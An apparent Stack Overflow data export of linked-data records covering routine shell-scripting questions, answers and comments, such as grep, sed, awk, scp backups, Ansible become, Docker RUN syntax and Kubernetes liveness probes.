has answer: http://stackoverflow.com/a/76842055
has comment: http://stackoverflow.com/comment/135467541
has answer: http://stackoverflow.com/a/76841374
has comment: http://stackoverflow.com/comment/135467181
has comment: http://stackoverflow.com/comment/135467465
score: 3
favorite count: 0
has comment: http://stackoverflow.com/comment/135467533
has comment: http://stackoverflow.com/comment/135467168
downvote count: 1
has title: How to compare values from 3 files using awk
has answer: http://stackoverflow.com/a/76842957
tagged with: bash

http://stackoverflow.com/q/76739914
tagged with: linux
tagged with: bash
type: Question
has answer: http://stackoverflow.com/a/76740173
possible better answer: http://stackoverflow.com/a/76740173
has answer: http://stackoverflow.com/a/76740127
has comment: http://stackoverflow.com/comment/135291498
has comment: http://stackoverflow.com/comment/135291842
score: 0
has body: I am trying to extract a line from fstab and print 3rd column mountpint=/var #grep -w "$mountpoint" /etc/fstab /dev/mapper/rootvg-varlv /var ext4 defaults 0 0 /dev/mapper/rootvg-vloglv /var/log ext4 defaults 0 0 /dev/mapper/rootvg-vartmp /var/tmp ext4 defaults 0 0 but it showing all lines that contain "/var" but I want only exact match /dev/mapper/rootvg-varlv /var ext4 defaults 0 0 How can I extract the line ?
tagged with: shell
type: AnsweredQuestion
has title: show only exact match bash
accepted answer: http://stackoverflow.com/a/76740127
answer count: 2

http://stackoverflow.com/comment/135349931
has text: `grep -v "test.pwd" myfile.txt > tmpfile && mv tmpfile myfile.txt` @Barmar if i use this command it's deleting the line matching with that pattern but I want to delete only one line
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76774173

http://stackoverflow.com/q/76817170
tagged with: vba
has comment: http://stackoverflow.com/comment/135423657
has answer: http://stackoverflow.com/a/76817864
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/76817864
has body: I would like to get file paths which are searched on explorer. I obtain the code to searcher on the explorer with key word. This is my code: "Call Shell("explorer.exe " & Chr(34) & "search-ms:query=" & filename & "&crumb=location:" & filepath & Chr(34), vbNormalFocus)" But i can not afford to get the path of the searched result. Every who can help me to provide the code that can get the path of searched result. Thanks for any help.
tagged with: path
type: Question
tagged with: shell
tagged with: excel
downvote count: 0
has title: Get file path which is searched on explorer by vba excel
score: 1
upvote count: 1
answer count: 1
favorite count: 0

http://stackoverflow.com/q/76788743
linked to: http://stackoverflow.com/q/76766955
has body: name : Test Play hosts : '{{hosts_list}}' gather_facts: false tasks: name : Run command as db2 id ansible.builtin.shell: cmd : db2level become: true become_user: db2icm1 become_method : sudo
type: Question
has comment: http://stackoverflow.com/comment/135374877
tagged with: shell
type: UnansweredQuestion
has title: why do i still need to source the .bashrc or .profile even after using become user in ansible
tagged with: automation
has answer: http://stackoverflow.com/a/76789250
has comment: http://stackoverflow.com/comment/135374711
score: 0
has comment: http://stackoverflow.com/comment/135374822
answer count: 1
tagged with: ansible
has comment: http://stackoverflow.com/comment/135374778

http://stackoverflow.com/q/76803412
tagged with: backup
tagged with: shell
has title: Bash Backup script: Permission denied
has body: I have written a backup script for my linux machine that encrypts the tarball and sends it to a remote server with scp with configured ssh key pairs, but it gives me the following error when i run it: ./backup_script.sh: line 27: /home/zero/Backup/backup_20230731_1251.tar.gz.gpg: Permission denied #!/bin/bash # Define the date format for the filename datetime=$(date +"%Y%m%d_%H%M") # Define the source directory and the backup directory src_dir="/var/www/html" # this is the directory that we will back up backup_dir="/home/zero/Backup" # This is where we will temporarily store the encrypted backup data # Create a tarball of the source directory tar -czf $backup_dir/backup_$datetime.tar.gz $src_dir # Read the password from a secure file password=$(cat /home/zero/Backup/pwd) # Encrypt the tarball using openssl gpg --pinentry-mode=loopback --passphrase $password --symmetric --cipher-algo AES256 --output $backup_dir/backup_$datetime.tar.gz.gpg $backup_dir/backup_$datetime.tar.gz rm $backup_dir/backup_$datetime.tar.gz # Get the .gpg filename filename=$(find /home/zero/Backup -type f -name "*.gpg" -print -quit) # Check if a file was found if [ -n "$filename" ]; then # if file is found send it ove ssh to the remote server send=scp $filename root@178.79.148.186:/root/Backup echo "$(date): Backup Successful" >> /home/zero/Backup/backup.log # remove file once it has been sent to remote server rm -f $filename else # if file is not found display error msg echo "$(date): No encrypted file found" >> /home/zero/Backup/backup.log fi The backup is made successfully, and the encryption works perfectly but it wont send to the remote server. I made the script in the root profile and i am running it as root. Here are the file permissions: drwxr-xr-x 2 zero zero 4096 Jul 31 12:51 . drwx------ 37 zero zero 4096 Jul 31 12:40 .. -rw-r--r-- 1 root root 3578 Jul 31 12:50 backup_20230731_1250.tar.gz.gpg -rw-r--r-- 1 root root 3578 Jul 31 12:51 backup_20230731_1251.tar.gz.gpg -rw-r--r-- 1 zero ze…
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135399583
answer count: 2
tagged with: ssh
tagged with: bash
has answer: http://stackoverflow.com/a/76807833
tagged with: scp
has comment: http://stackoverflow.com/comment/135399847
has answer: http://stackoverflow.com/a/76803519
score: 0
type: Question

http://stackoverflow.com/q/76809509
has title: How to correct the sed command for replacing the strings?
score: -1
tagged with: shell
has comment: http://stackoverflow.com/comment/135410522
tagged with: linux
tagged with: bash
type: UnansweredQuestion
favorite count: 0
downvote count: 1
has answer: http://stackoverflow.com/a/76809643
has body: I have values defined in the variables like below And trying to replace these values in the file called "server.xml" port_number=8081 ui_redirectPort=443 Content of the server.xml file is this <Connector port="8080" protocol="HTTP/1.1"connectionTimeout="20000"redirectPort="8443"maxParameterCount="1000"/> And the command I used is this: sed -i "s/<Connector port=\"8080\" protocol=\"HTTP\/1.1\" connectionTimeout=\"20000\" redirectPort=\"8443\" maxParameterCount=\"1000\"/<Connector port=\"$port_number\" protocol=\"HTTP\/1.1\" connectionTimeout=\"20\" redirectPort=\"$ui_redirectPort\" maxParameterCount=\"10\"/g" server.xml I am having issues updating the values. How can I frame this command? Command I used: sed -i "s/<Connector port=\"8080\" protocol=\"HTTP\/1.1\" connectionTimeout=\"20000\" redirectPort=\"8443\" maxParameterCount=\"1000\"/<Connector port=\"$port_number\" protocol=\"HTTP\/1.1\" connectionTimeout=\"20\" redirectPort=\"$ui_redirectPort\" maxParameterCount=\"10\"/g" server.xml
tagged with: sed
type: Question
has comment: http://stackoverflow.com/comment/135410553
upvote count: 0
answer count: 1

http://stackoverflow.com/comment/135347111
type: Comment
has text: Do we really need all this code just to answer this specific problem? Please narrow it down to just the part specific to the incorrect return value.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76772789

http://stackoverflow.com/a/76842148
upvote count: 2
downvote count: 0
type: Answer
has body: One awk idea: awk ' BEGIN { FS = OFS = "," } FNR==1 { fcnt++; next } { names[$2]; lines[$2 FS fcnt] = $0 } END { print "id,name,value,id2,name2,value2,id3,name3,value3" for (name in names) { out = sep = "" for (i=1; i<=fcnt; i++) { out = out sep (lines[name FS i] ? lines[name FS i] : "NA,NA,NA") sep = OFS } print out } } ' file_1 file_2 file_3 NOTES: per OP's comment we don't have to worry about ordering otherwise ... OP would need to specify the sorting criteria This generates: id,name,value,id2,name2,value2,id3,name3,value3 NA,NA,NA,NA,NA,NA,6,y,109 NA,NA,NA,9,z,100,NA,NA,NA 1,a,20,1,a,27,1,a,77 2,b,34,2,b,55,2,b,95 3,c,5,NA,NA,NA,NA,NA,NA NA,NA,NA,7,d,15,11,d,83
accepted answer of: http://stackoverflow.com/q/76841295
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76841295
score: 2

http://stackoverflow.com/q/76718065
tagged with: sed
has title: Powershell and windows command to perform sed operation
tagged with: windows
tagged with: powershell
tagged with: powershell-2.0
has answer: http://stackoverflow.com/a/76718347
has body: I have shell command which will replace the pom version in all the pom files across the project, am trying to get the equivalent command for powershell and windows which does the required operation. shell command: find . -name "pom.xml" -exec sed -i s/1.0.1/2.0.0/g {} + pom.xml file <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> 4.0.0 com.foo.primo primo-parent 1.0 com.foo core 1.0.1 pom foo <profiles> profile_1 module_1 After executing shell command my pom.xml will look like this. pom.xml after version replacement <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> 4.0.0 com.foo.primo primo-parent 1.0 com.foo core 2.0.0 pom foo <profiles> profile_1 module_1 Version replacement would have happened in all the pom.xml files which are present even in submodule level as well. Have tried constructing powershell command, but it is not working as intended. It is performing sed operation in only single pom.xml file, still version is not getting replaced properly. powershell command which i have tried: Get-ChildItem -Path . -Filter pom.xml | ForEach-Object { $content = Get-Content $_.FullName $content = $content -replace "VERSION", $version Set-Content $_.FullName $content }
has comment: http://stackoverflow.com/comment/135254678
linked to: http://stackoverflow.com/q/65357070
score: 0
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135254706
type: UnansweredQuestion
answer count: 1

http://stackoverflow.com/comment/135537509
type: Comment
comment on: http://stackoverflow.com/q/76881285
score: 0
has text: You need to manage (in particular increment) the count in the parent script. This is where the initial value of `PARENT_COUNT` comes from. If this is not feasible, use a file which holds the count (or some other permanent medium).
type: QuestionComment

http://stackoverflow.com/comment/135371319
type: Comment
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76786021
has text: If you're on CentOS 7 or newer, you should be able to use systemd for this. In summary: create a "unit file" describing your service (how to launch it, when to restart it, etc.). Then, put it in systemd configuration directory and reload systemd. But for more in-depth guides, you wll have to search articles [like this one](https://www.opentechguides.com/how-to/article/centos/169/systemd-custom-service.html)

http://stackoverflow.com/comment/135369631
comment on: http://stackoverflow.com/a/76785815
has text: Note that tmux has a built-in nesting check. It will refuse to start if `$TMUX` is present, so the inner tmux exits immediately which also leads to the outer tmux exiting.
score: 2
type: Comment
type: AnswerComment

http://stackoverflow.com/q/76817193
favorite count: 0
type: AnsweredQuestion
tagged with: unix
has body: I have entries in abc.env as follows- connection_name_1=xyz connection_name_2=gsh schema_1_connection_name_1=dsd schema_2_connection_name_1=rwf schema_1_connection_name_2=dfs I want to iterate based on connection_name and its associated schema for e.g. connection_name_1 will have- schema_1_connection_name_1 schema_2_connection_name_1 connection_name_2 will have- schema_1_connection_name_2 and store it into a json file which looks like this - "connection_specific_details": [ { "connection_name": "xyz", "schemas": [ { "dbUser": "dsd" }, { "dbUser": "rwf" } ] }, { "connection_name": "gsh", "schemas": [ { "dbUser": "dfs" } ] } ] Please comment if it is still unlcear, will try to elaborate in a different way but this is straight-forward json which I need to frame out of given values in env.
type: Question
tagged with: shell
accepted answer: http://stackoverflow.com/a/76817300
upvote count: 0
has comment: http://stackoverflow.com/comment/135423557
answer count: 1
score: -2
has title: how to store values using nested loop in json file using shell script
has comment: http://stackoverflow.com/comment/135427106
has answer: http://stackoverflow.com/a/76817300
downvote count: 2
tagged with: bash
has comment: http://stackoverflow.com/comment/135426571

http://stackoverflow.com/q/76720260
tagged with: linux
has comment: http://stackoverflow.com/comment/135258185
tagged with: bash
accepted answer: http://stackoverflow.com/a/76720707
answer count: 1
has body: I have the names of subdirectories in a text file and these subdirectories are in a base directory. I am trying to read the file and have a FOR loop to go into each subdirectory mentioned in the file and fetch the SQL scripts. However, I'm facing an issue where only the first line of file is read and only the SQL scripts from first subdirectory is retrieved. Is there any way to iterate over each of the mentioned subdirectory and fetch all the required files. Below code gives only the first subdirectory mentioned in names.txt file base_path="base_path" file_name="names.txt" cd $base_path echo "Contents of the $file_name file:" cat $file_name # Check if the file exists if [ -f "$file_name" ]; then # Read and print each line using a for loop for line in $(cat "$file_name"); do find ${base_path}/$line -maxdepth 1 -type f -name *.sql -exec cp '{}' ${base_path} \; done else echo "File not found in Base Directory: $base_path/$file_name" fi
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135258327
has answer: http://stackoverflow.com/a/76720707
score: 0
type: Question
tagged with: shell
has title: Linux: Reading the contents of text file and file retrieval from the mentioned subdirectory
tagged with: unix

http://stackoverflow.com/comment/135330478
comment on: http://stackoverflow.com/q/76763104
type: QuestionComment
score: 1
type: Comment
has text: `${}` is for variables. If you have a string literal, not inside a variable, why not just write it correctly yourself?

http://stackoverflow.com/comment/135311767
has text: Since you seem to want to re-implement the C-Shell, I had a look at the [csh builtin commands](https://www.ibm.com/docs/en/aix/7.2?topic=shell-c-built-in-commands-list). For a start, which of them would make **sense** to be executed in the background? And even you think that i.e. `dirs` would make sense: You could always create a subshell to run the command, i.e. `dirs &` would then be equivalent to `( dirs ) &`.
type: QuestionComment
comment on: http://stackoverflow.com/q/76749128
type: Comment
score: 0

http://stackoverflow.com/a/76850902
answers question: http://stackoverflow.com/q/76850581
upvote count: 1
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/135482717
has body: With a valid YAML processor like yq, parsing YAML contents become trivial. Define a DSL query (yq specific) to output the node and the URL in a CSV format and use a shell loop to iterate on top of it while IFS=',' read -r node url; do json_path="${node}-swagger.json" if ! curl --fail -k "$url" -o "${json_path}"; then break fi npx swagger-typescript-api -p "$json_path" -n "${node}Api.ts" done < <(yq '(keys | .[]) as $k | [$k, .[$k].url] | join(",")' ./swagger-codegen.yaml)
type: Answer

http://stackoverflow.com/q/76825083
has comment: http://stackoverflow.com/comment/135441151
has comment: http://stackoverflow.com/comment/135443282
tagged with: shell
downvote count: 0
score: 1
has body: I Wanted to Make A Game To Just Spend Some Time Improving My Programming Skills.. I Got An Error, I tried Every Thing To Try To Fix It, Is There Any Solution? This is The Code random=$((1 + $RANDOM % 10)) read -p "Enter A UserName" name if [ -d $name ] then cd $name if [ -d Scores ] then cd Scores else mkdir Scores cd Scores cd ../../ fi else mkdir $name cd $name mkdir Scores cd Scores cd ../../ fi echo 'enter a random number' read -p "Enter" r if [ $r = $random ] then echo 'great' $name else echo 'nope' $name 'the number was' $random fi echo 'want to play again(y for play again n for dont play again)' read m if [ $m = y ] then chmod +x AnswerDebug.sh bash AnswerDebug.sh elif [ $m = n ] then echo 'end of game' else echo 'not an input' $name fi The Output Was : The Output I was programming a game where we have to find a random number. I tried to make a Scoring System but it is unfinished I expected it to work finely but for some reason the code isn't working The code can't access AnswerDebug.sh(The Name Of The File)
answer count: 1
has comment: http://stackoverflow.com/comment/135441196
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135439931
type: Question
has answer: http://stackoverflow.com/a/76828208
type: UnansweredQuestion
tagged with: random
has title: Why do I get an error In Accessing File for Bash Code

http://stackoverflow.com/comment/135477761
has text: @KeithThompson I tried `sh` command as well (Updated in the question).
score: 0
comment on: http://stackoverflow.com/q/76848082
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135345174
type: Comment
type: AnswerComment
score: 0
has text: @CharlesDuffy - i don't understand - \r is return and \r\n is return new line? Whats the reason for that error malforming?
comment on: http://stackoverflow.com/a/76771280

http://stackoverflow.com/a/76877810
downvote count: 0
type: AcceptedAnswer
has body: You can use paste to concatenate the lines with -s, using a space character as delimiter provided by -d, then use sed to replace the first hyphen: paste -sd ' ' file.txt | sed 's/-//' the quick brown - fox jumps over - the lazy dog
answers question: http://stackoverflow.com/q/76877760
type: Answer
accepted answer of: http://stackoverflow.com/q/76877760
score: 2
upvote count: 2

http://stackoverflow.com/a/76823976
answers question: http://stackoverflow.com/q/76818451
has comment: http://stackoverflow.com/comment/135519794
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/135439870
has body: stdout contains the normal output of a command stdout_lines contains the output as a list of strings, each containing one item per line from the original output
has comment: http://stackoverflow.com/comment/135437619

http://stackoverflow.com/comment/135356371
comment on: http://stackoverflow.com/q/76778171
type: QuestionComment
type: Comment
score: 0
has text: Please remove the java tag?

http://stackoverflow.com/a/76836734
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/76810973
has body: As commented by @Fravadona, this was related to Windows line endings (CR LF) when read on a unix system.
answers question: http://stackoverflow.com/q/76810973
type: AcceptedAnswer

http://stackoverflow.com/a/76806828
answers question: http://stackoverflow.com/q/76805103
downvote count: 0
has body: Do not quote yourself. Use printf "%q" or @Q expansion. Use bash arrays. defines=( -DONE -DTWO -DTHREE ) make_args=( "CPPFLAGS=${defines[*]@Q}" ) make one "${make_args[@]}" but $DD is not quoted, so it undergoes word splitting expansion, which splits it on spaces. Check your script with shellcheck. Make is an old grandpa. Consider using newer build system, like CMake.
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135410160
accepted answer of: http://stackoverflow.com/q/76805103
has comment: http://stackoverflow.com/comment/135410148
type: Answer
has comment: http://stackoverflow.com/comment/135410559
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/135412722

http://stackoverflow.com/comment/135351404
score: 3
comment on: http://stackoverflow.com/q/76775292
has text: Please edit your question and add your desired output (no description) for that sample input.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76854529
has body: You could just check to see if any pods have .ready equal to false like this: while kubectl get pods \ -l=app.kubernetes.io/instance=loki \ -n grafana \ -o jsonpath='{.items[*].status.containerStatuses[0].ready}' | grep -q false; do echo "Waiting for Loki to be ready." sleep 5 done
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76854505
score: 0
accepted answer of: http://stackoverflow.com/q/76854505
type: Answer

http://stackoverflow.com/a/76852130
score: 1
upvote count: 1
has body: You need to also escape $. In RE, $ matches the ending position of the string or the position just before a string-ending newline. So $request_body matches nothing. > echo "a'\$request_body'a" | sed s/\'\$request_body\'// aa or > echo "a'\$request_body'a" | sed "s/'\$request_body'//" aa
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/135491971
answers question: http://stackoverflow.com/q/76851438

http://stackoverflow.com/comment/135306881
type: Comment
score: 0
type: QuestionComment
has text: "`fork()` the shell process and execute them there" yes, this is what normal shells do. Background processes are definition running in a subprocess; why would you ever want builtins in a subprocess to change anything in the parent shell? Each subprocess has its own env, cwd, etc. Just fork, set up the redirection, and exec the process(es) specified in the shell command.
comment on: http://stackoverflow.com/q/76749128

laravel-artisan
tags question: http://stackoverflow.com/q/76722146
tag name: laravel-artisan
type: Tag

http://stackoverflow.com/q/76788674
tagged with: shell
has comment: http://stackoverflow.com/comment/135374496
has answer: http://stackoverflow.com/a/76788889
score: 1
favorite count: 0
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/76788889
has answer: http://stackoverflow.com/a/76791182
has title: Loop through directory with filenames with numbers in bash script
has answer: http://stackoverflow.com/a/76788735
downvote count: 0
tagged with: bash
type: Question
upvote count: 1
accepted answer: http://stackoverflow.com/a/76788735
has answer: http://stackoverflow.com/a/76788798
tagged with: sh
has body: I have to perform a loop through a directory that contains files with the following scheme: P1_1.fq.gz, P1_2.fq.gz P2_1.fq.gz, P2_2.fq.gz ... P10_1.fq.gz, P10_2.fq.gz The purpose is take "one line" at a time. For example, in one iteration I must take the first two file and operate on them. Then, take the others two and so on. How can I loop considering the numbers ? I think It will be something like this: for i in {1..10}; do echo P$i_1.fq.gz; done I have some problems on how can I take couples and not one file, and with the syntax regarding the letters after the $i variable, since I am not so expert with bash scripts. What can I try next?
answer count: 4

http://stackoverflow.com/q/76724923
tagged with: .net-core
has comment: http://stackoverflow.com/comment/135381066
has comment: http://stackoverflow.com/comment/135378747
has comment: http://stackoverflow.com/comment/135287934
linked to: http://stackoverflow.com/q/63958384
tagged with: c#
has comment: http://stackoverflow.com/comment/135287219
has body: I'm running a .Net Core app on Ubuntu 20.04, and I want to have a possibility to run a script (which runs some commands like git pull, stop my app service, run dotnet build, etc.) through a backend url, but the script that I need to invoke must be able to continue running even though my app service gets shut down through the script. I have tried many different ways but they all stop immediately the service is shut down! The latest example is: string scriptPath = "/path/to/script.sh"; ProcessStartInfo startInfo = new ProcessStartInfo { FileName = "bash", Arguments = scriptPath, CreateNoWindow = true, RedirectStandardOutput = true, RedirectStandardError = true, }; Process process = Process.Start(startInfo); process.Start(); await process.StandardInput.WriteLineAsync(scriptPath); var output = await process.StandardOutput.ReadLineAsync(); exitCode = process.ExitCode;
tagged with: shell
tagged with: ubuntu
has title: Run a shell script from .Net Core application in Linux
score: 0
has comment: http://stackoverflow.com/comment/135267173
type: Question
answer count: 0
tagged with: linux
type: UnansweredQuestion

http://stackoverflow.com/comment/135424425
score: 1
comment on: http://stackoverflow.com/a/76817420
has text: @tshiono : That's why I changed my answer from sed to perl now. Could you plese check whether it looks reasonable? My test worked well.
type: Comment
type: AnswerComment

http://stackoverflow.com/q/76735566
type: Question
answer count: 0
tagged with: administration
tagged with: shell
has body: I want to prevent user from executing any harmful commands like dbutils.fs.rm or %sh rm I can disable shell rm commands. How can I disable dbutils.fs or python/scala specific commands?
type: UnansweredQuestion
tagged with: apache-spark
has comment: http://stackoverflow.com/comment/135287243
has comment: http://stackoverflow.com/comment/135284845
has title: Can we disable few commands at databricks cluster/workspace level?
tagged with: databricks
score: 0

http://stackoverflow.com/q/76856169
tagged with: kubernetes
tagged with: output
answer count: 2
tagged with: curl
tagged with: livenessprobe
type: Question
tagged with: shell
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/76861338
has comment: http://stackoverflow.com/comment/135493306
has answer: http://stackoverflow.com/a/76856201
has title: Shell command retrieving output of curl not working
score: 0
has body: I am trying to execute this command through a Kubernetes livenessProbe, and I don't think it's working as expected as I see that the probe has failed in the pod events log. This is the command: sh -c reply=$(curl -s -o /dev/null -w %{http_code} http://127.0.0.1:8080/login); if [ "$reply" -lt 200 -o "$reply" -ge 400 ]; then exit 1; fi; When I exec into the container and run this command, I get this error: /bin/sh: 1: [: Illegal number: I echo $reply and nothing is stored in the reply variable after running the above command. When I run the command without the 'sh -c' part, it works and the variable reply is getting populated. Somehow, the sh command is not able to read the output of the curl command...I tried to remove the -o /dev/null part of the curl request and that does not help. How can I get this command to execute?

http://stackoverflow.com/comment/135436584
has text: Oh, I get what you mean now. Why use cat and a pipe. awk '$5~/^0$/{print $5}' /home/vsrchops/Usrlogin_1.csv
score: 0
type: Comment
comment on: http://stackoverflow.com/a/76819820
type: AnswerComment

http://stackoverflow.com/q/76864396
has comment: http://stackoverflow.com/comment/135506657
answer count: 3
has comment: http://stackoverflow.com/comment/135506098
tagged with: awk
score: -4
tagged with: bash
possible better answer: http://stackoverflow.com/a/76864649
has title: Rearranging column/values in csv file based on input column order
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135505830
has body: i need your help in unix/awk to order the data in csv file (comma separated file) to certain order given in another file. my knowledge is limited on this. example: File to rearrange. PRODUCTCODE SITE BATCHID LV1P_DESCRIPTION PRD-0989 Static BATCH01 Estract PRD-0990 Static BATCH02 Xstract PRD-0991 Static BATCH03 8stract PRD-0992 Static BATCH04 errs PRD-0993 Static BATCH05 dgerrr PRD-0994 Static BATCH06 Narros PRD-0995 Static BATCH07 sef3r and if pass input column order as [This could be stored in another file] PRODUCTCODE,LV1P_DESCRIPTION,BATCHID,SITE then my output file should come as below PRODUCTCODE LV1P_DESCRIPTION BATCHID SITE PRD-0989 Estract BATCH01 Static PRD-0990 Xstract BATCH02 Static PRD-0991 8stract BATCH03 Static PRD-0992 errs BATCH04 Static PRD-0993 dgerrr BATCH05 Static PRD-0994 Narros BATCH06 Static PRD-0995 sef3r BATCH07 Static
has comment: http://stackoverflow.com/comment/135506612
has answer: http://stackoverflow.com/a/76864973
has comment: http://stackoverflow.com/comment/135506331
has answer: http://stackoverflow.com/a/76866224
has answer: http://stackoverflow.com/a/76864649
type: Question
upvote count: 0
tagged with: shell
accepted answer: http://stackoverflow.com/a/76864973
downvote count: 4

http://stackoverflow.com/a/77929242
has body: The pipefail command needs to run in bash. As you know (per comments), the documentation changed after you posted the question. The documentation, https://ansible.readthedocs.io/projects/lint/rules/risky-shell-pipe/, now suggests this: ansible.builtin.shell: cmd: | set -o pipefail # &lt;-- adding this will prevent surprises false | cat executable: /bin/bash The difference between the two, of course, is the use of the keys cmd: and executable:. The latter ensures that your command is run in a bash shell where pipefail will work.
answers question: http://stackoverflow.com/q/76870158
has comment: http://stackoverflow.com/comment/137631979
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/137393596

http://stackoverflow.com/q/76856869
answer count: 1
has title: running multiline shell script in docker build RUN command is not working
tagged with: docker
score: 0
accepted answer: http://stackoverflow.com/a/76856901
has body: I'm working on a building a docker image. It basically uses the eclipse-temurin. The dockerfile does download some certs online and import into java based on if the java version is 8 or not. Below is the Dockerfile FROM eclipse-temurin:8 RUN curl -ksS https://myorg1.com/certs/root > Org1_CA.pem && \ curl -ksS https://myorg2.com/certs/root > Org2_CA.pem && \ openssl x509 -in Org1_CA.pem -inform PEM -out Org1_CA.crt && \ openssl x509 -in Org2_CA.pem -inform PEM -out Org2_CA.crt && \ cp Org1_CA.crt /usr/local/share/ca-certificates/Org1_CA.crt && \ cp Org2_CA.crt /usr/local/share/ca-certificates/Org2_CA.crt && \ update-ca-certificates ARG BASE_TAG RUN echo "BASE TAG is " ${BASE_TAG} RUN set -eux; \ if [ "$BASE_TAG" = "temurin-8-jammy" ] \ then \ mkdir -p "$JAVA_HOME""$JRE_PREFIX"/lib/security && \ keytool -import -alias Org1Cert -keystore "$JAVA_HOME""$JRE_PREFIX"/lib/security/cacerts -file /usr/local/share/ca-certificates/Org1_CA.crt -storepass changeit -noprompt && \ keytool -import -alias Org2Cert -keystore "$JAVA_HOME""$JRE_PREFIX"/lib/security/cacerts -file /usr/local/share/ca-certificates/Org2_CA.crt -storepass changeit -noprompt \ else \ mkdir -p "$JAVA_HOME"/conf/security && \ keytool -importcert -alias Org1Cert -keystore "$JAVA_HOME"/conf/security/cacerts -file /usr/local/share/ca-certificates/Org1_CA.crt -storetype PKCS12 -storepass changeit -noprompt && \ keytool -importcert -alias Org2Cert -keystore "$JAVA_HOME"/conf/security/cacerts -file /usr/local/share/ca-certificates/Org2_CA.crt -storetype PKCS12 -storepass changeit -noprompt \ fi RUN echo "DONE" The docker build command that I'm using is - docker build . -t j8 --build-arg BASE_IMAGE=temurin-8-jammy --build-arg JRE_PREFIX=/jre But I'm getting error ERROR: failed to solve: process "/bin/sh -c did not complete successfully: exit code: 2" When I run individual commands it is working fine but when I make it into single RUN command with if else it is giving error. How can I fix this error?
tagged with: shell
has answer: http://stackoverflow.com/a/76856901
tagged with: dockerfile
tagged with: bash
has comment: http://stackoverflow.com/comment/135493260
type: Question
type: AnsweredQuestion

rm
type: Tag
tag name: rm
tags question: http://stackoverflow.com/q/76810973

http://stackoverflow.com/q/76751024
tagged with: alert
has comment: http://stackoverflow.com/comment/135310612
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135329329
type: UnansweredQuestion
answer count: 1
has answer: http://stackoverflow.com/a/76762297
score: -1
has comment: http://stackoverflow.com/comment/135329239
upvote count: 0
has body: Consider: #!/bin/bash msg=$(find /home/testaccount/test.log -mmin -30 -exec grep test.service {} \; | tail -1) test -n "$msg" && echo "$msg" | mail -r 'database@alert.etc' -s 'Database Aler' test@gmail.com I have a script above. When there is a log with file test.service, it will email me. I have put it in cron and it will run every 30 minutes, but my problem now is it always emails the same log every 30 minutes. Is there a way to email me once and then it will stop emailing me if it reads the same logs again? I need to stop it from sending the same logs every 30 minutes and it will just email me if there is a new alert with test.service on it.
tagged with: linux
has comment: http://stackoverflow.com/comment/135310570
tagged with: bash
favorite count: 0
downvote count: 1
has comment: http://stackoverflow.com/comment/135329287
tagged with: unix
has comment: http://stackoverflow.com/comment/135311238
has comment: http://stackoverflow.com/comment/135310653
has comment: http://stackoverflow.com/comment/135329114
has title: Alert script for /var/log/message

http://stackoverflow.com/q/76790718
answer count: 1
has comment: http://stackoverflow.com/comment/135378102
tagged with: python
score: 0
tagged with: curl
has comment: http://stackoverflow.com/comment/135377993
tagged with: wget
has comment: http://stackoverflow.com/comment/135377987
has body: I have bunch of files(more than 50K) stored at the server: http://fileserver1.com/sec-test/compressed/mango/exe/small/ I need to get a file which has 50 files entry of the absolute URL for my tests without downloading the files. For instance: file_output: http://fileserver1.com/sec-test/compressed/mango/exe/small/1.exe http://fileserver1.com/sec-test/compressed/mango/exe/small/2.exe http://fileserver1.com/sec-test/compressed/mango/exe/small/3.exe ... http://fileserver1.com/sec-test/compressed/mango/exe/small/50.exe Tried a couple of curl and wget commands. I am able to download the files recursively but not getting the path of the file from the file server stored somewhere. wget -r -np -k http://fileserver1/sec-test/compressed/mango/exe/small/ &gt; /dev/null Please can someone help how can I achieve it. Thanks in advance
has title: Need to get absolute list of urls for files stored on file server using curl/wget
has answer: http://stackoverflow.com/a/76793333
type: Question
tagged with: shell
tagged with: linux
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135377935

http://stackoverflow.com/comment/135413328
has text: @Fravadona: Somehow, only the second directory `testdir_rel` (located in the same directory as the shell script) is deleted, `testdir_abs` is for whatever reason not deleted.
type: QuestionComment
comment on: http://stackoverflow.com/q/76810973
type: Comment
score: 0

http://stackoverflow.com/a/76769804
has body: The nounset option, same as set -u doesn't mean "cause a command that evaluates an unset variable to fail". It means "terminate a non-interactive script entirely if an unset variable is accessed". So no other command has a chance to execute. An interactive shell won't quit; internally it will do something like a longjmp to bail out of any recursions and return to the prompt. The way to solve this is to check for the variable being set, and avoid the eval if it isn't. To check whether a variable var is set, we can use the syntax ${var+y}. If var is set (possibly empty, but set) this will expand to y. If var doesn't exist, it expands to nothing. If the name var is held in a variable varname, we can do it with eval: eval "exists=\${$varname+y}" if [ $exists ] ; then eval "$othervarname=\$$varname" else printf "%s: undefined variable\n" $varname fi I'm assuming here that $varname has been validated to be a valid variable name, and such a thing doesn't require quoting.
has comment: http://stackoverflow.com/comment/135342128
type: Answer
